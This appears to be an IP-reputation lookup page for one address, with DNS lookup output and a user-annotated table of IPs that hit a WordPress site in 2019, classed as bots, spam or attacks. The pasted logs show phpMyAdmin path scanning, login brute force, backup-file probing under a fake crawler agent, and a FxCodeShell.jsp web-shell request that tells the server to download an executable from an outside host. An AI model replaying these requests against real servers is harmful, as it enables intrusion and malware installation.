City: unknown
Region: unknown
Country: None
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 150.222.248.143
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 53856
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;150.222.248.143. IN A
;; AUTHORITY SECTION:
. 176 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022011000 1800 900 604800 86400
;; Query time: 18 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Jan 10 17:49:46 CST 2022
;; MSG SIZE rcvd: 108Host 143.248.222.150.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 143.248.222.150.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 185.53.91.24 | bots | 185.53.91.24 - - [06/Apr/2019:07:13:10 +0800] "GET /admin/assets/js/views/login.js HTTP/1.1" 404 209 "-" "python-requests/2.21.0" 185.53.91.24 - - [06/Apr/2019:07:13:12 +0800] "GET /admin/assets/js/views/login.js HTTP/1.1" 301 194 "-" "python-requests/2.21.0" 185.53.91.24 - - [06/Apr/2019:07:13:14 +0800] "GET /admin/assets/js/views/login.js HTTP/1.1" 404 209 "-" "python-requests/2.21.0" |
2019-04-06 07:34:25 |
| 111.206.198.27 | bots | 111.206.198.27 - - [29/Mar/2019:00:20:15 +0800] "GET /wp-content/plugins/wp-quicklatex/js/wp-quicklatex-frontend.js?ver=1.0 HTTP/1.1" 200 4303 "http://www.eznewstoday.com/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" Baidu render爬虫，爬一些静态文件 |
2019-03-29 09:07:10 |
| 185.234.218.239 | attack | 攻击ip |
2019-03-29 06:21:54 |
| 115.87.27.91 | attack | 115.87.27.91 - - [04/Apr/2019:18:44:53 +0800] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" |
2019-04-04 18:46:39 |
| 66.249.83.206 | normal | google weblight 地址，为信号差的地方服务，算是一个正常ip |
2019-03-29 14:07:35 |
| 77.247.109.8 | attack | 端口扫描 黑客攻击 |
2019-04-04 08:12:04 |
| 14.17.21.58 | attack | 14.17.21.58 - - [06/Apr/2019:14:35:29 +0800] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.3.64 - - [06/Apr/2019:14:35:29 +0800] "GET /wpo.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-06 14:38:25 |
| 5.188.210.57 | spam | wordpress垃圾评论，每天好多 5.188.210.57 - - [28/Mar/2019:17:37:49 +0800] "GET /index.php/page/869/ HTTP/1.0" 200 77511 "https://www.eznewstoday.com/index.php/page/869/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.3 6" 5.188.210.57 - - [28/Mar/2019:17:37:50 +0800] "GET /index.php/2019/02/01/stripe_2019_02_01_en/ HTTP/1.0" 200 41681 "https://www.eznewstoday.com/index.php/2019/02/01/stripe_2019_02_01_en/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML , like Gecko) Chrome/67.0.3396.62 Safari/537.36" 5.188.210.57 - - [28/Mar/2019:17:37:50 +0800] "POST /wp-comments-post.php HTTP/1.0" 302 4146 "https://www.eznewstoday.com/index.php/2019/02/01/stripe_2019_02_01_en/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/6 7.0.3396.62 Safari/537.36" |
2019-03-28 17:39:26 |
| 118.25.71.65 | attack | 攻击型IP 118.25.71.65 - - [31/Mar/2019:20:32:01 +0800] "PUT /FxCodeShell.jsp%20 HTTP/1.1" 400 682 "http://118.25.52.138:443/FxCodeShell.jsp%20" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.71.65 - - [31/Mar/2019:20:32:01 +0800] "PUT /FxCodeShell.jsp::$DATA HTTP/1.1" 400 682 "http://118.25.52.138:443/FxCodeShell.jsp::$DATA" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.71.65 - - [31/Mar/2019:20:32:01 +0800] "PUT /FxCodeShell.jsp/ HTTP/1.1" 400 682 "http://118.25.52.138:443/FxCodeShell.jsp/" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.71.65 - - [31/Mar/2019:20:32:01 +0800] "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1" 400 682 "http://118.25.52.138:443/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-03-31 20:42:33 |
| 42.156.136.98 | bots | YisouSpider 就是神马搜索的爬虫 42.156.136.98 - - [29/Mar/2019:08:27:04 +0800] "GET /wp-includes/css/dist/block-library/style.min.css?ver=5.1.1 HTTP/1.1" 200 8104 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safa ri/537.36" |
2019-03-29 09:13:21 |
| 140.143.59.183 | attack | 意图伪装百度爬虫获取整站数据 140.143.59.183 - - [02/Apr/2019:13:18:43 +0800] "GET //www.eznewstoday.com.rar HTTP/1.1" 404 486 "-" "User-Agent\\tBaiduspider" 140.143.59.183 - - [02/Apr/2019:13:18:43 +0800] "GET //www.eznewstoday.com.zip HTTP/1.1" 404 486 "-" "User-Agent\\tBaiduspider" 140.143.59.183 - - [02/Apr/2019:13:18:44 +0800] "GET //eznewstoday.com.rar HTTP/1.1" 404 482 "-" "User-Agent\\tBaiduspider" 140.143.59.183 - - [02/Apr/2019:13:18:45 +0800] "GET //eznewstoday.com.zip HTTP/1.1" 404 482 "-" "User-Agent\\tBaiduspider" 140.143.59.183 - - [02/Apr/2019:13:18:45 +0800] "GET //eznewstoday.rar HTTP/1.1" 404 478 "-" "User-Agent\\tBaiduspider" 140.143.59.183 - - [02/Apr/2019:13:18:46 +0800] "GET //eznewstoday.zip HTTP/1.1" 404 478 "-" "User-Agent\\tBaiduspider" |
2019-04-02 14:33:43 |
| 66.102.6.142 | bots | 谷歌icon爬虫 66.102.6.142 - - [29/Mar/2019:09:01:33 +0800] "GET / HTTP/1.1" 200 29010 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Google Favicon" |
2019-03-29 09:18:49 |
| 40.87.64.218 | bots | 垃圾暴力破解 40.87.64.218 - - [29/Mar/2019:09:06:53 +0800] "GET /wp-login.php HTTP/1.1" 200 5139 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 40.87.64.218 - - [29/Mar/2019:09:06:53 +0800] "POST /wp-login.php HTTP/1.1" 200 5541 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 40.87.64.218 - - [29/Mar/2019:09:06:53 +0800] "POST /xmlrpc.php HTTP/1.1" 404 3693 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" |
2019-03-29 09:10:31 |
| 157.55.39.65 | bots | 157.55.39.37 - - [07/Apr/2019:09:58:35 +0800] "GET /robots.txt HTTP/1.1" 200 292 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 157.55.39.65 - - [07/Apr/2019:09:58:49 +0800] "GET /sitemap.xml HTTP/1.1" 200 1897320 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" |
2019-04-07 10:02:26 |
| 202.53.139.49 | attack | 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpma/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpMyAbmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpMyAdmin__/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" |
2019-04-06 13:59:10 |